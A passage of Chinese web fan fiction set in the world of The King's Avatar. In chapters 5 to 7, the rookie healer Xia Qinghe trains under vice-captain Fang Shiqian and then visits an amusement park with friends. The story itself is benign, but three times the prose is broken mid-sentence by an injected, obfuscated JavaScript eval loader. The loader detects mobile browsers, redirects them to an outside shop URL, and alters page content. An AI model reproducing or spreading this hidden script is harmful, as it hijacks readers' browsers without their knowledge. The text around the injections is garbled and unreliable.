和乔一帆分享完喜悦和压力,夏轻禾的心情稍微平复了一些。她关掉聊天窗口,看着电脑屏幕上荣耀的游戏界面,目光落在自己那个一身混搭装备的牧师轻舟已过身上。 轻舟已过……总有一天,她会操作着那个名为冬虫夏草的传奇牧师账号,站在职业联赛的赛场上吗? 她不知道答案。但她知道,从今天起,她有了一个明确的目标,和一个愿意引领她的老师。此刻,少女的心中充满了前所未有的动力和期待。 5. 第 5 章 夏休期的微草俱乐部训练室,少了平日里的喧嚣和人声,显得有些空旷安静。阳光透过百叶窗,在地板上切割出一道道明暗相间的光栅,空气里飘浮着细小的尘埃,只有中央空调发出低沉的嗡鸣。 夏轻禾提前了十五分钟到达训练室。她怀里抱着自己的键盘鼠标,站在门口,深呼吸了好几次,才伸手推开门。 训练室里已经有人了。 窗边的位置上,坐着一个人。他穿着简单的白色短袖T恤和运动长裤,正微微侧着头,看着面前的电脑屏幕,手指偶尔在键盘上敲击两下。听到开门声,他转过头来。 是方士谦。不是游戏里那个ID茯苓的牧师角色,而是活生生、坐在那里的微草副队长,治疗之神本人。 夏轻禾的心又不争气地快跳了两拍。虽然昨天已经在网游里“认亲”成功,但线下见到真人,感觉还是完全不同。训练营里远远见过的几次,和现在这种即将面对面的、以“师徒”身份相处的近距离接触,完全是两回事。 “副……副队。”夏轻禾有点紧张地开口,声音都比平时小了一点。 方士谦看着她,脸上没什么特别的表情,只是点了点头,语气平和:“来了?坐吧,那边那台空机子。”他指了指自己旁边隔了一个位置的空座位。 “哦,好。”夏轻禾连忙走过去,放下自己的外设,手脚有些僵硬地连接安装。她能感觉到方士谦的目光似乎在自己身上停留了一两秒,然后移开了。 等她弄好设备坐下,方士谦已经转回了自己的屏幕,不过没有开始操作,而是双手交握放在桌面上,转向她。 “放松点,不用那么紧张。”方士谦的声音在空旷的训练室里显得很清晰,也带着一种让人安心的沉稳,“我们现在是师徒,也是队友。训练的时候认真就行,其他时候,跟以前在网游里差不多,有什么说什么。” 夏轻禾看着他平静的眼神,心里的那点拘谨稍微消散了一些。她用力点点头:“嗯!我知道了,副队!” “私下里,训练的时候,叫老师也行,叫前辈也行,随你。”方士谦随意地说着,打开了自己面前的文件夹,“这个夏休期,我主要的时间会放在指导你上。王队也知道,他也很支持。所以,别让我,也别让队长失望。” “我一定努力!”夏轻禾立刻保证,腰板都挺直了。 “好。”方士谦翻动着文件夹里的纸张,那上面似乎是一些打印出来的数据和手写的笔记,“你的情况,我之前通过网游和训练营的记录,大致有了解。基础操作扎实,反应快,意识不错,尤其对战斗节奏和时机的嗅觉很敏锐。这是你的优点。” 他顿了顿,抬眼看向夏轻禾:“但同时,你的问题也很明显。打法过于激进,容易上头,对自身脆皮职业的生存危机感不足,团队定位有时模糊,在保护队友和主动出击之间容易失衡。而且,你的经验太少了,对职业联赛级别的对抗强度和战术复杂性,几乎没有概念。” 夏轻禾认真听着,没有反驳。这些都是事实,茯苓老师以前在网游里也断断续续指出过。 “所以,这个夏休期的目标,不是让你立刻变成另一个治疗之神。”方士谦合上文件夹,目光平静地看着她,“那是不可能的。目标是打牢基础,尤其是你薄弱的部分;初步建立起更清晰的团队意识和自我定位;并且,开始接触和适应更高强度的模拟对抗。” “我明白!”夏轻禾点头。 “训练计划我会根据你的进度随时调整。除了常规的基础练习、副本实战、竞技场对抗,还会加入一些针对性的训练项目,比如在特定压力环境下的生存练习,模拟赛场突发情况的应对等等。”方士谦有条不紊地说着,“另外,网游里的活动,中草堂的BOSS战,你也要继续参加。那是很好的实战演练场,能接触到各种不同的玩家和打法,也能锻炼你在混乱局面下的判断力。” “是!”夏轻禾感觉血液有点沸腾,这种被系统性地规划和指导的感觉,和她自己之前瞎摸索完全不同。 方士谦看着她眼中燃起的斗志,嘴角似乎微不可察地向上弯了一下,但很快又恢复了平静。他伸手,从旁边的抽屉里拿出了两张账号卡。 一张是银白色的,边缘有着繁复的暗纹,看起来就很高级。另一张则是普通的橙色账号卡,和夏轻禾自己的那张差不多。 “这个,”方士谦先拿起那张银白色的卡,在指间转了转,“是我的账号卡之一,冬虫夏草。联盟顶尖的牧师账号,银装配置、技能点方案、打法风格,都是经过多年比赛锤炼出来的。你现在还用不了,硬件操作和意识都跟不上。但我会让你慢慢熟悉它,了解这个账号的每一个细节,它的优势,它的局限,它在一套成熟战术体系里的作用和变化。” 夏轻禾的目光紧紧追随着那张银白色的卡片,心脏咚咚跳着。冬虫夏草!她未来可能继承的账号,现在就摆在她面前! 方士谦将冬虫夏草的卡轻轻放在桌面上,然后拿起了那张橙色的普通账号卡。 “而这张,”他看着夏轻禾,语气依旧平淡,但说出来的话却让夏轻禾瞬间瞪大了眼睛,“是我另一个常用的号,防风。” 方士谦将防风的账号卡也放在了桌上,和冬虫夏草的并排。 “我的情况,你可能听说过一些。”方士谦缓缓说道,“我是联盟目前唯一一个,在两个治疗职业——牧师和守护天使上,都达到全明星水准的选手。根据队伍的阵容搭配和战术需要,我会选择使用冬虫夏草或者另一个守护天使账号。” 他顿了顿,目光落在夏轻禾脸上,似乎在观察她的反应。 “所以,我现在想问你的是,”方士谦的声音清晰而平稳,“夏轻禾,在专注于牧师,尤其是学习如何驾驭冬虫夏草这样的顶级牧师账号的同时,你有没有兴趣,也接触一下守护天使这个职业?” 夏轻禾彻底愣住了。她张了张嘴,一下子没发出声音。 方……方副队问她,要不要……学守护天使?还……还把防风的账号卡就这么拿出来了?就这么轻易地……给她? 这信息量有点大,她脑子一时间有点转不过来。继承冬虫夏草的压力和期待还没完全消化,现在又来一个守护天使?还有防风的账号卡? 她是不是……听错了?还是方副队今天起太早有点不清醒? 方士谦看她半天没反应,只是瞪圆了眼睛看着自己,脸上那副呆滞的表情有点好笑。他伸出手,在夏轻禾面前晃了晃。 “喂,回神。听到我说话了吗?”方士谦的语气里带上了一丝无奈的笑意,“问你呢,对守护天使有没有点想法?多了解一个职业,尤其是同属治疗系但侧重点不同的职业,对你理解整个治疗位在团队中的角色、丰富战术思维有很大帮助。防风这个账号虽然不如冬虫夏草顶尖,但装备和技能点也还不错,适合你现在拿来入门和练习……” 他的话还没说完。 夏轻禾突然动了。 她不是用语言回答,而是猛地伸出了双手,一把抓住了方士谦还在她面前晃动的那只手。 她的手心因为紧张和激动有些汗湿,但却抓得异常用力,手指紧紧攥住了方士谦的手掌和手腕。 方士谦完全没料到这一出,整个人都僵了一下。他下意识地想抽回手,却发现少女抓得比他想象的要紧得多,一下子竟然没抽动。 他愕然抬头,对上了夏轻禾的脸。 只见少女仰着脸,一双眼睛睁得大大的,眼眶似乎真的有点泛红,里面闪烁着极其复杂的光芒——震惊、难以置信、狂喜、感动,还有一点点快要溢出来的、夸张的“热泪盈眶”,虽然眼泪并没有真的掉下来。她就用这样一副表情,死死地盯着方士谦,嘴唇微微颤抖着,好像有千言万语堵在喉咙口,却一个字也说不出来。 方士谦被她这过于戏剧化的反应和直勾勾的眼神看得心里一跳,随即,一种陌生的、滚烫的热意毫无预兆地从被抓住的手腕处蔓延开来,他感觉自己的脸颊以肉眼可见的速度开始升温,耳根子也有点发烫。他甚至能感觉到自己手掌被握住的地方,温度也在升高。这种完全超出预料的身体接触和情感表达,让他一时间有点手足无措,大脑空白了一瞬。 他活了二十多年,打职业比赛见过无数大场面,被粉丝围堵过,被对手针对过,被队友拥抱庆祝过……但像这样,被一个年纪比自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029043|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小、长得还挺好看、充满活力的青春美少女,用这种近乎“炽热”的眼神盯着,还这么用力地抓着手…… 这还真是……破天荒头一遭。 训练室里安静得只剩下空调的声音。阳光的格子在地面上缓缓移动。 “你……你先松手。”方士谦终于找回了自己的声音,语气还算镇定,但仔细听能听出一丝不易察觉的僵硬。 方士谦感觉自己的脸肯定红得不能看了。他脑子里空白了一瞬,然后猛地回过神来,手上加了点力道,终于成功把自己的手从夏轻禾的“魔爪”里抽了出来。 “咳!”他掩饰性地咳嗽了一声,迅速转过头,避开了夏轻禾那依然紧紧追随的目光,感觉脸上更烫了。他努力让自己的声音听起来正常一点,甚至带上了一点惯常的、略带嫌弃的笑骂语气,“干嘛呢你?注意点形象!虽然夏休期没人,但这像什么样子!” 话是这么说,但他的耳朵尖还是红的。 夏轻禾也终于从那种巨大的冲击和激动中缓过神来。她看着方士谦明显有些窘迫却强装镇定的侧脸,还有那红彤彤的耳朵,后知后觉地意识到自己刚才做了什么。也反应过来自己刚才举动好像有点过于“热情”了。 “啊!对不起副队!不对,老师!”夏轻禾的脸也腾地红了,连忙把手背到身后,好像那双手刚刚干了什么坏事一样,“我、我太激动了!我就是……就是没想到……您愿意教我这么多,还把防风的卡也……我、我……”她语无伦次。 方士谦看着她那副明明不好意思却还是掩不住雀跃的样子,心里那点不自在也慢慢消散了,取而代之的是一种有点好笑又有点无奈的情绪。这丫头,情绪来得快,去得也快,直白得让人招架不住,但也真诚得让人讨厌不起来。 方士谦深吸一口气,强迫自己脸上的热度降下去。他转回头,尽量用平静的目光看向夏轻禾,虽然心跳还有点没缓过来。 “行了,冷静点。”方士谦摆摆手,不知道是在说她还是在说谁。把桌上防风的账号卡往她那边推了推,“账号卡你先拿着。守护天使的技能和操作逻辑跟牧师有相似也有不同,我会先给你讲解基础,然后安排练习。不用有压力,就当是多学一门功课,开阔眼界。对你理解治疗这个位置有好处。” 他看着夏轻禾依然兴奋得发红的脸颊和闪闪发光的眼睛,心里那点不自在慢慢被一种温和的无奈取代。这家伙,有时候真是直白得让人招架不住。 “所以,你的答案呢?”方士谦问,“学不学?” “学!当然学!”夏轻禾几乎是喊着回答的,脑袋点得像小鸡啄米,“谢谢老师!我一定会认真学的!牧师和守护天使,我都会努力!” “声音小点,训练室有回音。”方士谦无奈地提醒了一句,嘴角却终于忍不住,向上勾起了一个清晰的、带着点纵容意味的弧度。 这个徒弟,收得……好像有点过于活泼了。 不过,感觉还不坏。 他重新坐正身体,打开了电脑:“那好,我们开始今天的第一课。先不说守护天使,从你最熟悉的牧师开始。我要看看你现在的操作细节,到底还有多少可以改进的地方。” 他的语气恢复了训练时的严谨和平静。 夏轻禾也立刻收敛了情绪,正襟危坐,将防风的账号卡小心地收好,然后把自己的账号卡插入读卡器。 “是,老师!” 阳光静静地洒在训练室里,将两人的身影投在光滑的地板上。空旷的训练室里,很快响起了方士谦平稳清晰的讲解声,夹杂着夏轻禾时不时的提问和恍然大悟的“哦哦”声。 对夏轻禾来说,这是一个全新的、充满挑战和惊喜的开始。对方士谦而言,这个夏休期,因为有了这个情绪外放、充满干劲又时不时会让他有点“意外”的小徒弟,似乎也变得不那么单调了。 至于那个小小的握手插曲……嗯,大概只是徒弟太激动了而已。方士谦这样想着,把注意力重新放回屏幕上,仔细讲解着守护天使第一个核心减伤技能的使用时机和注意事项。只是偶尔,余光瞥见旁边少女全神贯注的侧脸时,他的嘴角会不自觉地,向上弯起一个柔和的弧度。 6. 第 6 章 日子在键盘敲击声和技能光效中,一天天滑过。夏轻禾感觉自己像是被按下了加速键,每天睁开眼睛就是训练,闭上眼睛脑子里还在复盘操作。累,是真的累,但那种飞速汲取知识、感觉自己在一点点变强的充实感,又让她甘之如饴。 方士谦的教学安排很有条理。上午通常是基础训练和理论知识,下午是实战演练和针对性指导,晚上则留给她自己消化和完成“作业”。他确实如自己所说,把大部分夏休期的时间都倾注在了这个小徒弟身上。 这天下午,训练室里依旧只有他们两人。方士谦没有开游戏,而是调出了一段比赛录像,是上个赛季微草对阵霸图的一场常规赛。 “今天不讲具体操作,我们看比赛。”方士谦把椅子拉近了一些,示意夏轻禾也靠过来看屏幕,“这场比赛的看点很多,但今天我们重点关注治疗位的对抗和选择。” 屏幕上,比赛已经开始。微草这边是方士谦操作的冬虫夏草,霸图那边则是张新杰的石不转。 “看这里,”方士谦点了暂停,画面定格在双方第一次大规模团战接触前,“地图是酒馆巷道,地形狭窄,视野受限。双方都在试探走位。这个时候,作为治疗,你的第一要务是什么?” 夏轻禾盯着屏幕,思考着:“保证自己处在相对安全,又能覆盖到队友的位置,同时观察对方阵型,尤其是对方治疗和关键控制职业的动向。” “嗯,基础思路没错。”方士谦点头,继续播放录像,“但安全是相对的。看张新杰的走位,他比常规牧师站位要靠前半个身位,利用巷道拐角的掩体,既能看清全局,又让我们的远程很难第一时间锁定他。这是基于他对地图的理解和自信。” 画面中,战斗一触即发。魔道学者的熔岩烧瓶在狭窄的巷道里炸开,剑客的剑影步带起残像,枪炮师的炮弹呼啸。冬虫夏草和石不转几乎同时在团队频道打出简短的指令,治疗的光芒精准地落在承受第一波火力的队友身上。 “注意看我和张新杰的驱散时机。”方士谦放慢了播放速度,“我方魔道学者中了对方术士的腐蚀术,持续掉血并减速。我没有立刻驱散,因为当时他血线安全,且处于走位调整期,那个减速影响不大。我选择把公共冷却时间留给可能到来的集火治疗。而张新杰那边,我方元素法师给他的拳法家上了个冰霜印记,他几乎是秒驱。为什么?” “因为拳法家是他们的近战核心,需要保持高机动性贴近我们阵型,冰霜印记的减速效果会严重阻碍他的切入。”夏轻禾立刻回答。 “对。”方士谦赞许地看了她一眼,“治疗不仅是加血机器,更是战术节奏的调节器。什么时候该驱散,什么时候该硬抗负面状态把技能留给更关键的时刻,这需要瞬间的判断。再看这里——” 录像来到中段,一次小规模的遭遇战。微草这边一名剑客走位过于突前,被霸图的格斗家和弹药专家夹击,血线瞬间见底。冬虫夏草的治疗光芒第一时间落下,但对方显然打算强杀。 “如果是你,用冬虫夏草,这种情况除了刷血,还有什么选择?”方士谦问。 夏轻禾紧张地盯着屏幕,脑子里飞快运转:“升天阵可以尝试浮空格斗家打断连招,但距离可能不够,而且公共冷却时间会影响后续治疗。神圣之火可以沉默弹药专家,但对方可能有防备……圣光打!用圣光打尝试打飞格斗家的下一次关键攻击,争取时间!” “思路可以。”方士谦点评道,“但实际操作中,圣光打的判定很严格,需要对敌人攻击动作有极精准的预判。我当时的选择是——”他指着屏幕,只见冬虫夏草在刷出一个大治疗的同时,一个小小的、不起眼的光之束缚光束射向了侧翼正在吟唱控场技能的霸图魔道学者。 光之束缚命中,虽然时间很短,但成功打断了那个可能将微草更多人卷入控制的技能,为队友解围创造了空间。与此同时,方士谦自己操作冬虫夏草一个巧妙的侧后滑步,躲开了弹药专家丢来的感电式手雷。 “治疗自己的生存永远排在第一位。”方士谦总结道,“在保证自己安全的前提下,尽可能利用控制技能打断对方关键节奏,有时比硬抬一个注定很难救回来的队友更有团队价值。当然,这需要大量的经验和临场判断。” 夏轻禾听得连连点头,只觉得眼前又打开了一扇新的窗户。原来高水平的治疗对抗,不仅仅是拼谁加血快、谁走位风骚,更是心理、战术、时机把握的全面博弈。 看完牧师对抗的片段,方士谦又换了一段录像,这次是他操作防风的比赛。 “守护天使的定位和牧师不同。”方士谦讲解道,“你看防风的位置,大多数时候比冬虫夏草要靠前,甚至经常和自家的前排站在一起。他的任务不仅仅是治疗,更是利用圣盾术、坚定意志等技能为团队吸收伤害,创造输出环境,用天使威光这样的强力控场打乱对方阵型。” 画面中,厚重的守护天使如同移动的堡垒,顶在微草阵线的最前方。敌方狂剑士开启狂暴状态猛冲过来,防风不闪不避,直接开启圣盾术,硬吃了第一波爆发伤害,同时一个净化丢给被上了虚弱状态的自家魔道学者。紧接着,在对方后续技能衔接的瞬间,防风猛地踏前一步,天使威光的光环轰然展开,将试图跟进的敌方元素法师和刺客齐齐推开,打断了对方的进攻链条。 “好帅!”夏轻禾忍不住小声惊呼。这种顶在最前面、为队友扛下一切的感觉,确实非常符合她内心某种“想要更直接参与战斗”的渴望。 “帅是帅,但压力也大。”方士谦笑了笑,“守护天使一旦倒掉,对团队士气和阵型的打击比牧师倒掉可能更大。因为队友会习惯性依赖你的保护和阵线。所以,玩守护天使,对大局观、伤害承受预估和技能循环的要求更高,容错率相对更低。” 他关掉录像,转向夏轻禾:“这几天你用防风在低级副本和竞技场里熟悉技能,感觉怎么样?和牧师比起来。” 夏轻禾挠了挠头,组织语言:“手感差别挺大的。牧师施法更飘逸,技能衔接更讲究节奏和预读。守护天使……嗯,感觉更‘实在’,技能拍出去更有力量感,站在前面也确实更有安全感。就是那个圣盾术的时机好难把握,开早了浪费,开晚了就没了。还有天使威光,冷却时间好长,用的时候总怕用错地方。” “正常,慢慢来。”方士谦并不意外,“守护天使的技能更讲究‘时机价值’。这样,下午剩下的时间,我们换个练法。” 他起身,从旁边的设备柜里又拿出两张账号卡。“用这个,我们去普通区竞技场开个房间。” 夏轻禾接过账号卡,登录后发现是一个装备很普通的守护天使小号,名字叫板甲奶爸。而方士谦登录的则是一个装备同样普通的战斗法师小号,名字十分朴实:矛很长。 “……方副队,您这是?”夏轻禾看着那个战斗法师ID,有点想笑又不敢笑。 “实战对抗。”方士谦活动了一下手指,语气轻松,“我用战斗法师攻击你,你用守护天使防守。不要求你赢,只要求你在我的攻击下,尽可能长时间地存活,并且熟悉守护天使的防御技能循环和面对近战压力时的走位。放心,我会控制攻击强度,从简单开始。” “好!”夏轻禾立刻来了精神,摩拳擦掌。和方士谦对练,哪怕是用小号,也是难得的学习机会! 两人进入竞技场房间,地图随机到了一张简单的擂台图。 倒计时结束,战斗开始。 方士谦操作的战斗法师“矛很长”并没有急于猛攻,而是不紧不慢地拉近距离,手中战矛随意挥舞着,寻找着节奏。 夏轻禾深吸一口气,操作着板甲奶爸,紧紧盯着对方的动作。她知道方士谦的战斗法师水平肯定比不上他的治疗,但毕竟是职业选手,基本功和意识摆在那里。 果然,在进入一定距离后,矛很长突然一个前冲,战矛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029044|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着寒光直刺而来! 夏轻禾下意识就想侧滚,但想起方士谦刚才讲的“守护天使有时需要硬吃伤害为队友创造空间”,她咬咬牙,没有躲,而是瞬间开启了坚定意志提升防御,同时手中十字架一横,试图用出守护天使的圣光打。 砰!战矛刺在十字架上,发出沉闷的撞击声。夏轻禾的圣光打成功了!虽然因为技能等级和角色属性,只是稍微格挡了部分伤害,并没有完全打飞攻击,但重要的是,她做出了正确的应对选择,并且没有被这一下直接打乱阵脚。 “不错,判断对了。”方士谦的声音从旁边传来,手上操作却没停。矛很长一击不中,立刻变招,天击挑出。 这次夏轻禾选择了侧移,同时给自己套了一个恢复术。板甲职业移动速度慢,她没能完全避开,被天击扫到了一点,血量掉了一小截。 “移动的时候注意面向,别把后背完全暴露给对手。守护天使转身慢。”方士谦提醒道。 接下来的几分钟,成了夏轻禾的单方面“受虐”教学。方士谦的战斗法师攻击并不狂暴,但每一次出手的时机、角度和后续连招的压迫感都恰到好处,逼得夏轻禾必须不断做出选择:是开圣盾术硬抗?是用净化解掉被上的减速状态?还是尝试走位拉开距离? 她手忙脚乱,失误频频。圣盾术开得过早,白白浪费;天使威光想用来击退对方,却因为预判失误放了个空;走位的时候经常顾头不顾腚,被绕到背后就是一顿输出。 但她没有抱怨,也没有气馁,只是瞪大了眼睛,努力记下每一次失误的原因,和方士谦随口指出的要点。 “注意我的起手动作,战斗法师龙牙之后很可能接落花掌。” “被连击的时候不要慌,守护天使皮厚,扛得住,找机会用净化解掉关键控制。” “你的恢复术不要断,那是你续航的根本。” “对,就是这样,吃下这下圆舞棍,立刻反击一个盾击,虽然没伤害,但能打断我节奏。” 不知过了多久,夏轻禾操作的板甲奶爸终于在一次走位失误后,被矛很长一套漂亮的连招带走最后一丝血量,倒在了地上。 “呼——”夏轻禾长出一口气,靠在椅背上,感觉后背都出汗了。虽然只是练习,但精神高度集中下的对抗,消耗一点也不小。 “感觉怎么样?”方士谦退出竞技场,笑着问她。 “累……但是好爽!”夏轻禾眼睛依然发亮,“原来面对近战高压是这种感觉!守护天使的技能循环真的和牧师完全不同,好多时候感觉技能都在冷却,恨不得多长两只手!” “习惯就好。”方士谦递给她一瓶水,“今天先到这里。晚上你把今天看录像的心得,还有刚才对抗里出现的五个主要失误点写下来,明天给我。另外,守护天使的基础技能循环表,再默写三遍。” “……是。”夏轻禾接过水,吐了吐舌头。方老师的“作业”总是这么实在。 “对了,”方士谦像是想起什么,从抽屉里拿出一个小U盘,“这里面是一些我整理的,关于治疗位视野控制、团队站位心理学的基础资料,还有几个经典战例的标注版。你拿回去看看,不要求全懂,先有个概念。” 夏轻禾如获至宝,双手接过U盘,郑重地放进自己包里。“谢谢方副队!” “嗯,回去吧。路上注意安全。”方士谦摆摆手,开始整理自己的东西。 夏轻禾收拾好背包,走到训练室门口,又回头看了一眼。方士谦正低头检查着电脑,侧脸在下午的光线下显得认真而温和。 她忽然觉得,能遇到这样的老师,真的是自己最大的幸运。 “方副队,明天见!”她大声说了一句,然后才转身跑开。 方士谦抬起头,看着空荡荡的门口,笑着摇了摇头。 “明天见。”他轻声说,然后关掉了训练室的灯。走廊里,少女轻快的脚步声渐渐远去。 7. 第 7 章 夏休期的日历又翻过去几页,连轴转了快两周的夏轻禾,在某个训练日结束收拾东西时,被方士谦叫住了。 “明天和后天,给你放两天假。”方士谦整理着桌上的资料,头也不抬地说,“训练要张弛有度,弦绷得太紧容易断。回去好好休息,陪陪家人朋友,或者干脆睡个懒觉。大后天早上,准时回来报到。” “啊?放假?”夏轻禾愣了一下,下意识道,“可是我还有几个技能循环没练熟,昨天您给的战术分析案例我才看了一半……” “停。”方士谦抬起头,打断她,脸上带着无奈又好笑的表情,“让你休息就好好休息。磨刀不误砍柴工,状态调整好了,训练效率才高。这是命令,不是商量。” 看方士谦态度坚决,夏轻禾只好把话咽回去,乖乖点头:“哦……知道了,方副队。那……谢谢副队!” “嗯,回去吧。路上小心。”方士谦挥挥手,继续低头忙自己的事。 走出微草俱乐部大楼,夏日的晚风带着一丝难得的凉爽拂过脸颊。夏轻禾站在门口,伸了个大大的懒腰,忽然觉得浑身骨头缝里都透出一股被高强度训练压榨后的酸软,但同时,又有种放假带来的、轻飘飘的放松感。 好像……是有点累哦。她挠挠头,决定听从老师的建议,好好享受这难得的假期。 回到家,姐姐夏茗正在厨房里捣鼓着什么,听到开门声探出头来:“回来了?今天挺早啊。” “方副队给我放了两天假!”夏轻禾把背包往沙发上一扔,整个人也瘫进沙发里,“累死我了……” 夏茗擦着手从厨房出来,看着妹妹这副没骨头的样子,笑了笑:“放假好啊。正好,我这儿有三张欢乐谷的门票,朋友给的,明天后天都有效。我们俩去的话还多一张,你看看有没有朋友想一起?” “欢乐谷!”夏轻禾一听,眼睛蹭地亮了,立刻从沙发上弹起来,“我去!我去!我去问问一帆!” 她几乎是蹦着回房间拿手机的。电话接通,乔一帆的声音带着点惊讶:“轻禾姐?训练结束了?” “一帆!明天有空吗?我姐有三张欢乐谷的门票,多一张,一起去玩啊!”夏轻禾语速飞快,带着压抑不住的兴奋。 “欢乐谷?游乐园?”乔一帆那边犹豫了一下,“我……我明天倒是有空,但是……” “有空就来嘛!天天训练多闷啊,方副队都说了要劳逸结合!”夏轻禾不等他拒绝,连珠炮似的说,“就这么定了啊!明天早上九点,地铁口见!我请你吃冰淇淋!挂了!” “哎?轻禾姐……”乔一帆的话还没说完,电话里已经传来了忙音。他拿着手机,看着屏幕上“通话结束”的字样,无奈地笑了笑,但心里也隐隐升起一丝期待。和轻禾姐还有她姐姐一起出去玩……好像,也不错? 第二天是个大晴天,阳光灿烂,天空湛蓝。欢乐谷门口人声鼎沸,充满了孩子们的欢笑和各式各样的音乐声。夏轻禾一眼就看到了站在约定地点、穿着浅灰色T恤和牛仔裤、显得有点拘谨的乔一帆。 “一帆!这里!”她用力挥着手跑过去,夏茗不紧不慢地跟在后面,脸上带着温和的笑意。 “轻禾姐,夏茗姐。”乔一帆礼貌地打招呼,耳朵有点红。 “走走走,检票进场!”夏轻禾一把拉住乔一帆的胳膊,风风火火地就往里冲,夏茗只好笑着摇摇头,跟上两个年轻人的脚步。 一进园,夏轻禾就像脱缰的野马,眼睛扫视着各种刺激的项目,跃跃欲试。“我们先去坐那个!垂直过山车!看着就爽!” 乔一帆顺着她指的方向看去,只见一条钢铁巨龙蜿蜒盘旋,直上直下,伴随着阵阵尖叫从头顶呼啸而过。他的脸色瞬间白了一分,下意识地咽了口口水。 夏茗也看了看,挑眉:“你确定?一上来就这么猛?” “当然!要玩就玩最刺激的!”夏轻禾斗志昂扬,转头看乔一帆,“一帆,走!” 乔一帆看着夏轻禾充满期待的眼睛,那句“我可能不太行”在嘴边转了好几圈,最终还是没说出来。他深吸一口气,视死如归般点了点头:“……好。” 排队,上车,系好安全带。当过山车缓缓爬升到最高点,整个游乐园尽收眼底时,夏轻禾兴奋地左右张望,乔一帆则紧紧抓着面前的扶手,指节都有些发白。 “要下去啦——!”夏轻禾欢呼一声。 下一刻,失重感猛地袭来!过山车以近乎垂直的角度俯冲而下,风声在耳边尖锐呼啸,周围的景物模糊成一片色块。夏轻禾张开手臂,放声大叫,感觉所有的压力和疲惫都随着这高速坠落被甩了出去,只剩下纯粹的刺激和畅快。 而旁边的乔一帆,眼睛紧闭,脸色煞白,全程咬紧牙关一声没吭,只有微微颤抖的手暴露了他内心的惊涛骇浪。 一趟下来,夏轻禾神清气爽,脸颊红扑扑的,意犹未尽:“太好玩了!我们再排一次吧!” 乔一帆脚刚沾地,就感觉一阵天旋地转,胃里翻江倒海。他勉强站稳,摆了摆手,声音有点虚:“轻禾姐……我,我可能得缓一下……”话没说完,就忍不住弯下腰干呕了几声。 “哎呀!”夏轻禾这才注意到乔一帆惨白的脸色和难受的样子,吓了一跳,赶紧跑过去,手忙脚乱地帮他拍背顺气,“一帆你还好吧?很难受吗?我们去那边坐坐,喝点水?” 乔一帆摆摆手,示意自己没事,只是还有点晕。夏茗已经买来了矿泉水递给他。 在旁边的长椅上休息了好一会儿,乔一帆的脸色才慢慢恢复过来。夏轻禾像只做错了事的小狗,围着他转,一脸愧疚:“真的没事?” 乔一帆喝了几口水,感觉好多了,摇摇头:“没事没事。轻禾姐,是我自己答应要来的。而且……其实也挺刺激的,就是有点……太刺激了。”他笑了笑,有点不好意思。 看他确实缓过来了,夏轻禾才松了口气。三人又去玩了几个相对温和的项目,比如旋转木马和碰碰车。在碰碰车场里,夏轻禾开着车横冲直撞,专找乔一帆和夏茗撞,玩得大呼小叫,乔一帆也渐渐放开了,脸上露出了开心的笑容。 中午在园内的餐厅简单吃了点东西,下午的阳光更加炽热。夏轻禾提议去吃冰淇淋降降温。 冷饮摊前,夏轻禾要了个粉嘟嘟的草莓味甜筒,乔一帆选了清爽的薄荷味,夏茗则要了经典的巧克力味。三人拿着冰淇淋,在树荫下的长椅上坐下,慢慢吃着。 冰凉甜润的口感驱散了夏日的燥热。夏轻禾舔着冰淇淋,晃着腿,随口问道:“一帆,你这几天在训练营怎么样?方副队给我特训,都顾不上问你。” 乔一帆小口吃着薄荷冰淇淋,闻言想了想:“还是老样子,按部就班地训练。队长和前辈们偶尔会来指导。我……我在刺客的节奏把握上好像遇到了一点瓶颈,总是快了或者慢了半拍。”他的语气有些苦恼。 “节奏啊……”夏轻禾咬着甜筒的脆皮,若有所思,“方副队也总跟我强调节奏。他说治疗技能的释放、走位、甚至普通攻击的骚扰,都有内在的节奏,打乱了就容易出破绽。他还让我用守护天使小号跟他战斗法师对练,那节奏压迫感,啧啧,简直了。”她边说边比划,模仿着战斗法师攻击的动作。 乔一帆听得认真:“方副队……真的很厉害。他给你特训,一定学到很多吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029045|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“那当然!”夏轻禾来了精神,开始眉飞色舞地讲述方士谦是怎么用战斗法师“虐待”她,又是怎么一针见血地指出她的问题,还有那些看录像时精妙的战术分析。“你别看方副队平时说话挺温和的,训练起来可严格了,一点小错误都逃不过他眼睛。不过教得也是真的好,我感觉这几天比我之前自己摸索半年进步都快!” 乔一帆眼里流露出羡慕:“真好……能被方副队亲自指导。” 